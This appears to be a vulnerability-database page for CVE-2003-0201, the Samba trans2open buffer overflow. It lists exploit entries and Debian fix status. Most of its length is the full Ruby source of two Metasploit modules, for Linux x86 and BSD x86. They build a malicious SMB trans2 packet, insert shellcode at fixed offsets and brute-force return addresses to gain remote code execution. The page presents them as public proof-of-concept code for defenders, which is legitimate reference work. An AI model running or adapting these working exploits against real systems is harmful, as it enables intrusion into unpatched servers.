CVE-2003-0201

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in the call_trans2open function in trans2.c for Samba 2.2.x before 2.2.8a, 2.0.10 and earlier 2.0.x versions, and Samba-TNG before 0.3.2, allows remote attackers to execute arbitrary code.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-9924 remote osx verified
H D Moore · 2003-04-07

Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-16876 remote osx_ppc verified
Metasploit · 2010-06-21

Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)

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EDB-7 remote linux verified
H D Moore · 2003-04-07

Samba 2.2.x - Remote Buffer Overflow

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EDB-16861 remote linux_x86 verified ruby · 5 KB
Metasploit · 2010-07-14

Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: trans2open.rb 9828 2010-07-14 17:27:23Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba trans2open Overflow (Linux x86)',
			'Description'    => %q{
					This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the flaw on x86 Linux systems that do not
				have the noexec stack option set.

				NOTE: Some older versions of RedHat do not seem to be vulnerable
				since they apparently do not allow anonymous access to IPC.
			},
			'Author'         => [ 'hdm', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9828 $',
			'References'     =>
				[
					[ 'CVE', '2003-0201' ],
					[ 'OSVDB', '4469' ],
					[ 'BID', '7294' ],
					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					# tested OK - jjd:
					# RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc
					# RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc
					[ 'Samba 2.2.x - Bruteforce',
						{
							'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
							'Offset'       => 1055,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xbffffdfc },
									'Stop'  => { 'Ret' => 0xbfa00000 },
									'Step'  => 256
								}
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 7 2003'
			))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end

	def brute_exploit(addrs)

		curr_ret = addrs['Ret']
		begin
			print_status("Trying return address 0x%.8x..." %  curr_ret)

			connect
			smb_login

			if ! @checked_peerlm
				if smb_peer_lm !~ /samba/i
					raise RuntimeError, "This target is not a Samba server (#{smb_peer_lm}"
				end

				if smb_peer_lm =~ /Samba [34]\./i
					raise RuntimeError, "This target is not a vulnerable Samba server (#{smb_peer_lm})"
				end
			end

			@checked_peerlm = true


			# This value *must* be 1988 to allow findrecv shellcode to work
			# XXX: I'm not sure the above comment is true...
			pattern = rand_text_english(1988)

			# See the OSX and Solaris versions of this module for additional
			# information.

			# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
			# (rpmbuild -bp ; edited/reran config.status ; make)
			eip_off = target['Offset']
			ptr_to_non_zero = target['PtrToNonZero']

			# Stuff the shellcode into the request
			pattern[0, payload.encoded.length] = payload.encoded

			# We want test true here, so we overwrite conn with a pointer
			# to something non-zero.
			#
			# 222       if (IS_IPC(conn)) {
			# 223          return(ERROR(ERRSRV,ERRaccess));
			# 224       }
			pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')

			# We want to avoid crashing on the following two derefences.
			#
			# 116     int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
			# 117     {
			# 118       int outsize = set_message(outbuf,0,0,True);
			# 119       int cmd = CVAL(inbuf,smb_com);
			pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
			pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')

			# This stream covers the framepointer and the return address
			#pattern[1199, 400] = [curr_ret].pack('N') * 100
			pattern[eip_off, 4] = [curr_ret].pack('V')

			trans =
				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
				pattern

			# puts "press any key"; $stdin.gets

			sock.put(trans)
			handler

		rescue ::EOFError
		rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError
			raise $!
		rescue ::Exception => e
			print_error("#{rhost} #{e}")
		end

		handler
		disconnect

	end

end
EDB-16330 remote solaris_sparc verified
Metasploit · 2010-06-21

Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)

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EDB-22468 remote unix verified
Xpl017Elz · 2003-04-11

Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)

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EDB-22469 remote unix verified
c0wboy · 2003-04-07

Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)

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EDB-22470 remote unix verified
eDSee · 2003-05-12

Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)

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EDB-22471 remote unix verified
noir · 2003-04-07

Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)

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EDB-55 remote linux verified
Schizoprenic · 2003-07-13

Samba 2.2.8 - Brute Force Method Remote Command Execution

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EDB-16880 remote bsd_x86 verified ruby · 4 KB
Metasploit · 2010-06-17

Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: trans2open.rb 9552 2010-06-17 22:11:43Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba trans2open Overflow (*BSD x86)',
			'Description'    => %q{
					This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the flaw on x86 Linux systems that do not
				have the noexec stack option set.
			},
			'Author'         => [ 'hdm', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9552 $',
			'References'     =>
				[
					[ 'CVE', '2003-0201' ],
					[ 'OSVDB', '4469' ],
					[ 'BID', '7294' ],
					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'bsd',
			'Targets'        =>
				[
					# tested OK - jjd:
					# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8
					[ 'Samba 2.2.x - Bruteforce',
						{
							'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack
							'Offset'       => 1055,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xbfbffdfc },
									'Stop'  => { 'Ret' => 0xbfa00000 },
									'Step'  => 256
								}
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 7 2003'
			))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end

	def brute_exploit(addrs)

		curr_ret = addrs['Ret']
		begin
			print_status("Trying return address 0x%.8x..." %  curr_ret)

			connect
			smb_login

			# This value *must* be 1988 to allow findrecv shellcode to work
			# XXX: I'm not sure the above comment is true...
			pattern = rand_text_english(1988)

			# See the OSX and Solaris versions of this module for additional
			# information.

			# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
			# (rpmbuild -bp ; edited/reran config.status ; make)
			eip_off = target['Offset']
			ptr_to_non_zero = target['PtrToNonZero']

			# Stuff the shellcode into the request
			pattern[0, payload.encoded.length] = payload.encoded

			# We want test true here, so we overwrite conn with a pointer
			# to something non-zero.
			#
			# 222       if (IS_IPC(conn)) {
			# 223          return(ERROR(ERRSRV,ERRaccess));
			# 224       }
			pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')

			# We want to avoid crashing on the following two derefences.
			#
			# 116     int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
			# 117     {
			# 118       int outsize = set_message(outbuf,0,0,True);
			# 119       int cmd = CVAL(inbuf,smb_com);
			pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
			pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')

			# This stream covers the framepointer and the return address
			#pattern[1199, 400] = [curr_ret].pack('N') * 100
			pattern[eip_off, 4] = [curr_ret].pack('V')

			trans =
				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
				pattern

			# puts "press any key"; $stdin.gets

			sock.put(trans)
			handler
			disconnect

		rescue EOFError
		rescue => e
			print_error("#{e}")
		end

	end

end
EDB-10 remote multiple verified
eSDee · 2003-04-10

Samba < 2.2.8 (Linux/BSD) - Remote Code Execution

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Metasploit modules

Samba trans2open Overflow (Mac OS X PPC)
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Samba trans2open Overflow (Solaris SPARC)
Source fetch failed: fetch_error — view the original via the link above.
Samba trans2open Overflow (*BSD x86)
Source fetch failed: fetch_error — view the original via the link above.
Samba trans2open Overflow (Linux x86)
Source fetch failed: fetch_error — view the original via the link above.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.0
sid Fixed 3.0
forky Fixed 3.0
bullseye Fixed 3.0
bookworm Fixed 3.0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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